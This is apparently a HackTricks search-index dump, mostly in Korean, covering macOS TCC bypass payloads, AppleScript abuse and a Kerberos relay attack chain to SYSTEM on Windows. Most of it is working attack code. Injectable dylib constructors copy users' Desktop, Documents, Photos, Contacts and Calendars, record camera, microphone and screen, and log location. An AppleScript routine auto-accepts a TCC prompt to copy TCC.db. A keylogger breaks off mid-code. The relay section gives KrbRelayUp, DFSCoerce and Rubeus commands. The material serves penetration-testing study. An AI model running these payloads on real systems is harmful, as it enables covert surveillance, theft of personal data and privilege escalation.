3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » macOS Apple Scripts » macOS Apple Scripts","id":"2705","title":"macOS Apple Scripts"},"2706":{"body":"원격 프로세스와 상호작용하는 작업 자동화를 위한 스크립팅 언어입니다. 다른 프로세스에 특정 작업을 수행하도록 요청하는 것이 매우 쉽습니다. 악성 소프트웨어 는 이러한 기능을 악용하여 다른 프로세스에서 내보낸 기능을 남용할 수 있습니다. 예를 들어, 악성 소프트웨어는 브라우저에서 열린 페이지에 임의의 JS 코드를 주입 할 수 있습니다. 또는 사용자에게 요청된 일부 허용 권한을 자동 클릭 할 수 있습니다; applescript tell window 1 of process \\"SecurityAgent\\"\\nclick button \\"Always Allow\\" of group 1\\nend tell 여기 몇 가지 예가 있습니다: https://github.com/abbeycode/AppleScripts 악성 소프트웨어에 대한 더 많은 정보를 애플스크립트를 사용하여 여기 에서 찾으세요. 애플 스크립트는 쉽게 \\" 컴파일 \\"될 수 있습니다. 이러한 버전은 osadecompile로 쉽게 \\" 디컴파일 \\"될 수 있습니다. 그러나 이 스크립트는 또한 \\"읽기 전용\\"으로 내보낼 수 있습니다 ( \\"내보내기...\\" 옵션을 통해): ```\\nfile mal.scpt\\nmal.scpt: AppleScript compiled\\n```\\n이 경우 `osadecompile`을 사용하더라도 콘텐츠를 디컴파일할 수 없습니다. 그러나 이러한 종류의 실행 파일을 이해하는 데 사용할 수 있는 도구가 여전히 있습니다. 자세한 내용은 이 연구를 읽어보세요 ). 도구 applescript-disassembler 와 aevt_decompile 는 스크립트가 어떻게 작동하는지 이해하는 데 매우 유용할 것입니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » macOS Apple Scripts » Apple Scripts","id":"2706","title":"Apple Scripts"},"2707":{"body":"Reading time: 14 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Payloads » macOS TCC Payloads","id":"2707","title":"macOS TCC Payloads"},"2708":{"body":"Entitlement : 없음 TCC : kTCCServiceSystemPolicyDesktopFolder ObjetiveC\\nShell $HOME/Desktop를 /tmp/desktop으로 복사합니다. objectivec #include \\n#include \\n#include \\n#include \\n#import // gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m __attribute__((constructor))\\nvoid myconstructor(int argc, const char **argv)\\n{\\nfreopen(\\"/tmp/logs.txt\\", \\"w\\", stderr); // Redirect stderr to /tmp/logs.txt NSFileManager *fileManager = [NSFileManager defaultManager];\\nNSError *error = nil; // Get the path to the user\'s Pictures folder\\nNSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@\\"Desktop\\"];\\nNSString *tmpPhotosPath = @\\"/tmp/desktop\\"; // Copy the contents recursively\\nif (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {\\nNSLog(@\\"Error copying items: %@\\", error);\\n} NSLog(@\\"Copy completed successfully.\\", error); fclose(stderr); // Close the file stream\\n} $HOME/Desktop를 /tmp/desktop으로 복사합니다. bash cp -r \\"$HOME/Desktop\\" \\"/tmp/desktop\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Payloads » Desktop","id":"2708","title":"Desktop"},"2709":{"body":"권한 : 없음 TCC : kTCCServiceSystemPolicyDocumentsFolder ObjetiveC\\nShell $HOME/Documents를 /tmp/documents로 복사합니다. objectivec #include \\n#include \\n#include \\n#include \\n#import // gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m __attribute__((constructor))\\nvoid myconstructor(int argc, const char **argv)\\n{\\nfreopen(\\"/tmp/logs.txt\\", \\"w\\", stderr); // Redirect stderr to /tmp/logs.txt NSFileManager *fileManager = [NSFileManager defaultManager];\\nNSError *error = nil; // Get the path to the user\'s Pictures folder\\nNSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@\\"Documents\\"];\\nNSString *tmpPhotosPath = @\\"/tmp/documents\\"; // Copy the contents recursively\\nif (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {\\nNSLog(@\\"Error copying items: %@\\", error);\\n} NSLog(@\\"Copy completed successfully.\\", error); fclose(stderr); // Close the file stream\\n} $HOME/Documents를 /tmp/documents로 복사합니다. bash cp -r \\"$HOME/Documents\\" \\"/tmp/documents\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Payloads » 문서","id":"2709","title":"문서"},"271":{"body":"3.1 호스트 정찰 powershell # find servers where HTTP, LDAP or CIFS share the same machine account\\nGet-ADComputer -Filter * -Properties servicePrincipalName |\\nWhere-Object {$_.servicePrincipalName -match \'(HTTP|LDAP|CIFS)\'} |\\nSelect Name,servicePrincipalName 3.2 릴레이 리스너 시작하기 KrbRelayUp powershell # one-click local SYSTEM via RBCD\\n.\\\\KrbRelayUp.exe relay --spn \\"ldap/DC01.lab.local\\" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 KrbRelayUp는 KrbRelay → LDAP → RBCD → Rubeus → SCM 우회 를 하나의 바이너리로 묶습니다. 3.3 Kerberos 인증 강제 powershell # coerce DC to auth over SMB with DFSCoerce\\n.\\\\dfscoerce.exe --target \\\\\\\\DC01.lab.local --listener 10.0.0.50 DFSCoerce는 DC가 Kerberos CIFS/DC01 티켓을 우리에게 보내도록 만듭니다. 3.4 AP-REQ 중계 KrbRelay는 SMB에서 GSS 블롭을 추출하고, 이를 LDAP 바인드로 재포장한 후 ldap://DC01로 전달합니다. 인증은 같은 키 로 이를 복호화하기 때문에 성공합니다. 3.5 LDAP 남용 ➜ RBCD ➜ SYSTEM powershell # (auto inside KrbRelayUp) manual for clarity\\nNew-MachineAccount -Name \\"FAKE01\\" -Password \\"P@ss123\\"\\nKrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID\\nRubeus s4u /user:FAKE01$ /rc4: /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt\\nSCMUACBypass.exe You now own NT AUTHORITY\\\\SYSTEM .","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks » Kerberos Relay 단계","id":"271","title":"Kerberos Relay 단계"},"2710":{"body":"권한 : 없음 TCC : kTCCServiceSystemPolicyDownloadsFolder ObjetiveC\\nShell $HOME/Downloads를 /tmp/downloads로 복사합니다. objectivec #include \\n#include \\n#include \\n#include \\n#import // gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m __attribute__((constructor))\\nvoid myconstructor(int argc, const char **argv)\\n{\\nfreopen(\\"/tmp/logs.txt\\", \\"w\\", stderr); // Redirect stderr to /tmp/logs.txt NSFileManager *fileManager = [NSFileManager defaultManager];\\nNSError *error = nil; // Get the path to the user\'s Pictures folder\\nNSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@\\"Downloads\\"];\\nNSString *tmpPhotosPath = @\\"/tmp/downloads\\"; // Copy the contents recursively\\nif (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {\\nNSLog(@\\"Error copying items: %@\\", error);\\n} NSLog(@\\"Copy completed successfully.\\", error); fclose(stderr); // Close the file stream\\n} $HOME/Dowloads를 /tmp/downloads로 복사합니다. bash cp -r \\"$HOME/Downloads\\" \\"/tmp/downloads\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Payloads » 다운로드","id":"2710","title":"다운로드"},"2711":{"body":"권한 : com.apple.security.personal-information.photos-library TCC : kTCCServicePhotos ObjetiveC\\nShell $HOME/Pictures/Photos Library.photoslibrary를 /tmp/photos로 복사합니다. objectivec #include \\n#include \\n#include \\n#include \\n#import // gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m __attribute__((constructor))\\nvoid myconstructor(int argc, const char **argv)\\n{\\nfreopen(\\"/tmp/logs.txt\\", \\"w\\", stderr); // Redirect stderr to /tmp/logs.txt NSFileManager *fileManager = [NSFileManager defaultManager];\\nNSError *error = nil; // Get the path to the user\'s Pictures folder\\nNSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@\\"Pictures/Photos Library.photoslibrary\\"];\\nNSString *tmpPhotosPath = @\\"/tmp/photos\\"; // Copy the contents recursively\\nif (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {\\nNSLog(@\\"Error copying items: %@\\", error);\\n} NSLog(@\\"Copy completed successfully.\\", error); fclose(stderr); // Close the file stream\\n} $HOME/Pictures/Photos Library.photoslibrary를 /tmp/photos로 복사합니다. bash cp -r \\"$HOME/Pictures/Photos Library.photoslibrary\\" \\"/tmp/photos\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Payloads » 사진 라이브러리","id":"2711","title":"사진 라이브러리"},"2712":{"body":"권한 : com.apple.security.personal-information.addressbook TCC : kTCCServiceAddressBook ObjetiveC\\nShell $HOME/Library/Application Support/AddressBook를 /tmp/contacts로 복사합니다. objectivec #include \\n#include \\n#include \\n#include \\n#import // gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m __attribute__((constructor))\\nvoid myconstructor(int argc, const char **argv)\\n{\\nfreopen(\\"/tmp/logs.txt\\", \\"w\\", stderr); // Redirect stderr to /tmp/logs.txt NSFileManager *fileManager = [NSFileManager defaultManager];\\nNSError *error = nil; // Get the path to the user\'s Pictures folder\\nNSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@\\"Library/Application Support/AddressBook\\"];\\nNSString *tmpPhotosPath = @\\"/tmp/contacts\\"; // Copy the contents recursively\\nif (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {\\nNSLog(@\\"Error copying items: %@\\", error);\\n} NSLog(@\\"Copy completed successfully.\\", error); fclose(stderr); // Close the file stream\\n} $HOME/Library/Application Support/AddressBook를 /tmp/contacts로 복사합니다. bash cp -r \\"$HOME/Library/Application Support/AddressBook\\" \\"/tmp/contacts\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Payloads » 연락처","id":"2712","title":"연락처"},"2713":{"body":"권한 : com.apple.security.personal-information.calendars TCC : kTCCServiceCalendar ObjectiveC\\nShell $HOME/Library/Calendars를 /tmp/calendars로 복사합니다. objectivec #include \\n#include \\n#include \\n#include \\n#import // gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m __attribute__((constructor))\\nvoid myconstructor(int argc, const char **argv)\\n{\\nfreopen(\\"/tmp/logs.txt\\", \\"w\\", stderr); // Redirect stderr to /tmp/logs.txt NSFileManager *fileManager = [NSFileManager defaultManager];\\nNSError *error = nil; // Get the path to the user\'s Pictures folder\\nNSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@\\"Library/Calendars/\\"];\\nNSString *tmpPhotosPath = @\\"/tmp/calendars\\"; // Copy the contents recursively\\nif (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {\\nNSLog(@\\"Error copying items: %@\\", error);\\n} NSLog(@\\"Copy completed successfully.\\", error); fclose(stderr); // Close the file stream\\n} $HOME/Library/Calendars를 /tmp/calendars로 복사합니다. bash cp -r \\"$HOME/Library/Calendars\\" \\"/tmp/calendars\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Payloads » 달력","id":"2713","title":"달력"},"2714":{"body":"권한 : com.apple.security.device.camera TCC : kTCCServiceCamera ObjetiveC - Record\\nObjectiveC - Check\\nShell 3초 비디오를 녹화하고 **/tmp/recording.mov**에 저장합니다. objectivec #import \\n#import // gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib\\n// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4 @interface VideoRecorder : NSObject \\n@property (strong, nonatomic) AVCaptureSession *captureSession;\\n@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;\\n@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;\\n- (void)startRecording;\\n- (void)stopRecording;\\n@end\\n@implementation VideoRecorder\\n- (instancetype)init {\\nself = [super init];\\nif (self) {\\n[self setupCaptureSession];\\n}\\nreturn self;\\n}\\n- (void)setupCaptureSession {\\nself.captureSession = [[AVCaptureSession alloc] init];\\nself.captureSession.sessionPreset = AVCaptureSessionPresetHigh;\\nAVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];\\nNSError *error;\\nself.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];\\nif (error) {\\nNSLog(@\\"Error setting up video device input: %@\\", [error localizedDescription]);\\nreturn;\\n}\\nif ([self.captureSession canAddInput:self.videoDeviceInput]) {\\n[self.captureSession addInput:self.videoDeviceInput];\\n}\\nself.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];\\nif ([self.captureSession canAddOutput:self.movieFileOutput]) {\\n[self.captureSession addOutput:self.movieFileOutput];\\n}\\n}\\n- (void)startRecording {\\n[self.captureSession startRunning];\\nNSString *outputFilePath = @\\"/tmp/recording.mov\\";\\nNSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];\\n[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];\\nNSLog(@\\"Recording started\\");\\n}\\n- (void)stopRecording {\\n[self.movieFileOutput stopRecording];\\n[self.captureSession stopRunning];\\nNSLog(@\\"Recording stopped\\");\\n}\\n#pragma mark - AVCaptureFileOutputRecordingDelegate\\n- (void)captureOutput:(AVCaptureFileOutput *)captureOutput\\ndidFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL\\nfromConnections:(NSArray *)connections\\nerror:(NSError *)error {\\nif (error) {\\nNSLog(@\\"Recording failed: %@\\", [error localizedDescription]);\\n} else {\\nNSLog(@\\"Recording finished successfully. Saved to %@\\", outputFileURL.path);\\n}\\n}\\n@end\\n__attribute__((constructor))\\nstatic void myconstructor(int argc, const char **argv) {\\nfreopen(\\"/tmp/logs.txt\\", \\"a\\", stderr);\\nVideoRecorder *videoRecorder = [[VideoRecorder alloc] init];\\n[videoRecorder startRecording];\\n[NSThread sleepForTimeInterval:3.0];\\n[videoRecorder stopRecording];\\n[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];\\nfclose(stderr); // Close the file stream\\n} 프로그램이 카메라에 접근할 수 있는지 확인합니다. objectivec #import \\n#import // gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib\\n// Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4 @interface CameraAccessChecker : NSObject\\n+ (BOOL)hasCameraAccess;\\n@end\\n@implementation CameraAccessChecker\\n+ (BOOL)hasCameraAccess {\\nAVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo];\\nif (status == AVAuthorizationStatusAuthorized) {\\nNSLog(@\\"[+] Access to camera granted.\\");\\nreturn YES;\\n} else {\\nNSLog(@\\"[-] Access to camera denied.\\");\\nreturn NO;\\n}\\n}\\n@end\\n__attribute__((constructor))\\nstatic void telegram(int argc, const char **argv) {\\nfreopen(\\"/tmp/logs.txt\\", \\"a\\", stderr);\\n[CameraAccessChecker hasCameraAccess];\\nfclose(stderr); // Close the file stream\\n} 카메라로 사진 찍기 bash ffmpeg -framerate 30 -f avfoundation -i \\"0\\" -frames:v 1 /tmp/capture.jpg","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Payloads » 카메라","id":"2714","title":"카메라"},"2715":{"body":"권한 : com.apple.security.device.audio-input TCC : kTCCServiceMicrophone ObjetiveC - Record\\nObjectiveC - Check\\nShell 5초 동안 오디오를 녹음하고 /tmp/recording.m4a에 저장합니다. objectivec #import \\n#import // Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2\\n// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib @interface AudioRecorder : NSObject @property (strong, nonatomic) AVCaptureSession *captureSession;\\n@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;\\n@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput; - (void)startRecording;\\n- (void)stopRecording; @end @implementation AudioRecorder - (instancetype)init {\\nself = [super init];\\nif (self) {\\n[self setupCaptureSession];\\n}\\nreturn self;\\n} - (void)setupCaptureSession {\\nself.captureSession = [[AVCaptureSession alloc] init];\\nself.captureSession.sessionPreset = AVCaptureSessionPresetHigh; AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];\\nNSError *error;\\nself.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error]; if (error) {\\nNSLog(@\\"Error setting up audio device input: %@\\", [error localizedDescription]);\\nreturn;\\n} if ([self.captureSession canAddInput:self.audioDeviceInput]) {\\n[self.captureSession addInput:self.audioDeviceInput];\\n} self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init]; if ([self.captureSession canAddOutput:self.audioFileOutput]) {\\n[self.captureSession addOutput:self.audioFileOutput];\\n}\\n} - (void)startRecording {\\n[self.captureSession startRunning];\\nNSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@\\"recording.m4a\\"];\\nNSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];\\n[self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];\\nNSLog(@\\"Recording started\\");\\n} - (void)stopRecording {\\n[self.audioFileOutput stopRecording];\\n[self.captureSession stopRunning];\\nNSLog(@\\"Recording stopped\\");\\n} #pragma mark - AVCaptureFileOutputRecordingDelegate - (void)captureOutput:(AVCaptureFileOutput *)captureOutput\\ndidFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL\\nfromConnections:(NSArray *)connections\\nerror:(NSError *)error {\\nif (error) {\\nNSLog(@\\"Recording failed: %@\\", [error localizedDescription]);\\n} else {\\nNSLog(@\\"Recording finished successfully. Saved to %@\\", outputFileURL.path);\\n}\\nNSLog(@\\"Saved to %@\\", outputFileURL.path);\\n} @end __attribute__((constructor))\\nstatic void myconstructor(int argc, const char **argv) { freopen(\\"/tmp/logs.txt\\", \\"a\\", stderr);\\nAudioRecorder *audioRecorder = [[AudioRecorder alloc] init]; [audioRecorder startRecording];\\n[NSThread sleepForTimeInterval:5.0];\\n[audioRecorder stopRecording]; [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];\\nfclose(stderr); // Close the file stream\\n} 앱이 마이크에 접근할 수 있는지 확인합니다. objectivec #import \\n#import // From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4\\n// gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib @interface MicrophoneAccessChecker : NSObject\\n+ (BOOL)hasMicrophoneAccess;\\n@end\\n@implementation MicrophoneAccessChecker\\n+ (BOOL)hasMicrophoneAccess {\\nAVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio];\\nif (status == AVAuthorizationStatusAuthorized) {\\nNSLog(@\\"[+] Access to microphone granted.\\");\\nreturn YES;\\n} else {\\nNSLog(@\\"[-] Access to microphone denied.\\");\\nreturn NO;\\n}\\n}\\n@end\\n__attribute__((constructor))\\nstatic void telegram(int argc, const char **argv) {\\n[MicrophoneAccessChecker hasMicrophoneAccess];\\n} 5초 오디오를 녹음하고 /tmp/recording.wav에 저장합니다. bash # Check the microphones\\nffmpeg -f avfoundation -list_devices true -i \\"\\"\\n# Use microphone from index 1 from the previous list to record\\nffmpeg -f avfoundation -i \\":1\\" -t 5 /tmp/recording.wav","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Payloads » 마이크","id":"2715","title":"마이크"},"2716":{"body":"tip 앱이 위치를 얻으려면 위치 서비스 (개인정보 보호 및 보안에서) 가 활성화되어야 하며, 그렇지 않으면 접근할 수 없습니다. 권한 : com.apple.security.personal-information.location TCC : /var/db/locationd/clients.plist에서 부여됨 ObjectiveC\\nShell /tmp/logs.txt에 위치를 기록합니다. objectivec #include \\n#include \\n#import \\n#import @interface LocationManagerDelegate : NSObject \\n@end @implementation LocationManagerDelegate - (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray *)locations {\\nCLLocation *location = [locations lastObject];\\nNSLog(@\\"Current location: %@\\", location);\\nexit(0); // Exit the program after receiving the first location update\\n} - (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {\\nNSLog(@\\"Error getting location: %@\\", error);\\nexit(1); // Exit the program on error\\n} @end __attribute__((constructor))\\nvoid myconstructor(int argc, const char **argv)\\n{\\nfreopen(\\"/tmp/logs.txt\\", \\"w\\", stderr); // Redirect stderr to /tmp/logs.txt NSLog(@\\"Getting location\\");\\nCLLocationManager *locationManager = [[CLLocationManager alloc] init];\\nLocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];\\nlocationManager.delegate = delegate; [locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization\\n[locationManager startUpdatingLocation]; NSRunLoop *runLoop = [NSRunLoop currentRunLoop];\\nwhile (true) {\\n[runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];\\n} NSLog(@\\"Location completed successfully.\\");\\nfreopen(\\"/tmp/logs.txt\\", \\"w\\", stderr); // Redirect stderr to /tmp/logs.txt\\n} 위치에 접근하기 ???","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Payloads » 위치","id":"2716","title":"위치"},"2717":{"body":"권한 : 없음 TCC : kTCCServiceScreenCapture ObjectiveC\\nShell 메인 화면을 5초 동안 /tmp/screen.mov에 녹화합니다. objectivec #import \\n#import // clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m @interface MyRecordingDelegate : NSObject \\n@end @implementation MyRecordingDelegate - (void)captureOutput:(AVCaptureFileOutput *)output\\ndidFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL\\nfromConnections:(NSArray *)connections\\nerror:(NSError *)error {\\nif (error) {\\nNSLog(@\\"Recording error: %@\\", error);\\n} else {\\nNSLog(@\\"Recording finished successfully.\\");\\n}\\nexit(0);\\n} @end __attribute__((constructor))\\nvoid myconstructor(int argc, const char **argv)\\nfreopen(\\"/tmp/logs.txt\\", \\"w\\", stderr); // Redirect stderr to /tmp/logs.txt\\nAVCaptureSession *captureSession = [[AVCaptureSession alloc] init];\\nAVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];\\nif ([captureSession canAddInput:screenInput]) {\\n[captureSession addInput:screenInput];\\n} AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init];\\nif ([captureSession canAddOutput:fileOutput]) {\\n[captureSession addOutput:fileOutput];\\n} [captureSession startRunning]; MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init];\\n[fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@\\"/tmp/screen.mov\\"] recordingDelegate:delegate]; // Run the loop for 5 seconds to capture\\ndispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{\\n[fileOutput stopRecording];\\n}); CFRunLoopRun();\\nfreopen(\\"/tmp/logs.txt\\", \\"w\\", stderr); // Redirect stderr to /tmp/logs.txt\\n} 주 화면을 5초 동안 녹화합니다. bash screencapture -V 5 /tmp/screen.mov","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Payloads » 화면 녹화","id":"2717","title":"화면 녹화"},"2718":{"body":"권한 : 없음 TCC : kTCCServiceAccessibility TCC 권한을 사용하여 Finder의 제어를 수락하고 Enter를 눌러 TCC를 우회합니다. TCC 수락\\nKeylogger objectivec #import \\n#import \\n#import // clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m\\n// TODO: Improve to monitor the foreground app and press enter when TCC appears void SimulateKeyPress(CGKeyCode keyCode) {\\nCGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);\\nCGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);\\nCGEventPost(kCGHIDEventTap, keyDownEvent);\\nCGEventPost(kCGHIDEventTap, keyUpEvent);\\nif (keyDownEvent) CFRelease(keyDownEvent);\\nif (keyUpEvent) CFRelease(keyUpEvent);\\n} void RunAppleScript() {\\nNSLog(@\\"Starting AppleScript\\");\\nNSString *scriptSource = @\\"tell application \\\\\\"Finder\\\\\\"\\\\n\\"\\n\\"set sourceFile to POSIX file \\\\\\"/Library/Application Support/com.apple.TCC/TCC.db\\\\\\" as alias\\\\n\\"\\n\\"set targetFolder to POSIX file \\\\\\"/tmp\\\\\\" as alias\\\\n\\"\\n\\"duplicate file sourceFile to targetFolder with replacing\\\\n\\"\\n\\"end tell\\\\n\\"; NSDictionary *errorDict = nil;\\nNSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];\\n[appleScript executeAndReturnError:&errorDict]; if (errorDict) {\\nNSLog(@\\"AppleScript Error: %@\\", errorDict);\\n}\\n} int main() {\\n@autoreleasepool {\\ndispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{\\nRunAppleScript();\\n}); // Simulate pressing the Enter key every 0.1 seconds\\nNSLog(@\\"Starting key presses\\");\\nfor (int i = 0; i < 10; ++i) {\\nSimulateKeyPress((CGKeyCode)36); // Key code for Enter\\nusleep(100000); // 0.1 seconds\\n}\\n}\\nreturn 0;\\n} 누른 키를 **/tmp/keystrokes.txt**에 저장합니다. objectivec #import \\n#import \\n#import // clang -framework Foundation -framework ApplicationServices -framework Carbon -o KeyboardMonitor KeyboardMonitor.m NSString *const kKeystrokesLogPath = @\\"/tmp/keystrokes.txt\\"; void AppendStringToFile(NSString *str, NSString *filePath) {\\nNSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:filePath];\\nif (fileHandle) {\\n[fileHandle seekToEndOfFile];\\n[fileHandle writeData:[str dataUsingEncoding:NSUTF8StringEncoding]];\\n[fileHandle closeFile];\\n} else {\\n// If the file does not exist, create it\\n[str writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];\\n}\\n} CGEventRef KeyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {\\nif (type == kCGEventKeyDown) {\\nCGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); NSString *keyString = nil;\\n// First, handle special non-printable keys\\nswitch (keyCode) {\\ncase kVK_Return: keyString = @\\"\\"; break;\\ncase kVK_Tab: keyString = @\\"\\"; break;\\ncase kVK_Space: keyString = @\\"\\"; break;\\ncase kVK_Delete: keyString = @\\"\\"; break;\\ncase kVK_Escape: keyString = @\\"\\"; break;\\ncase kVK_Command: keyString = @\\"\\"; break;\\ncase kVK_Shift: keyString = @\\"\\"; break;\\ncase kVK_CapsLock: keyString = @\\"\\"; break;\\ncase kVK_Option: keyString = @\\"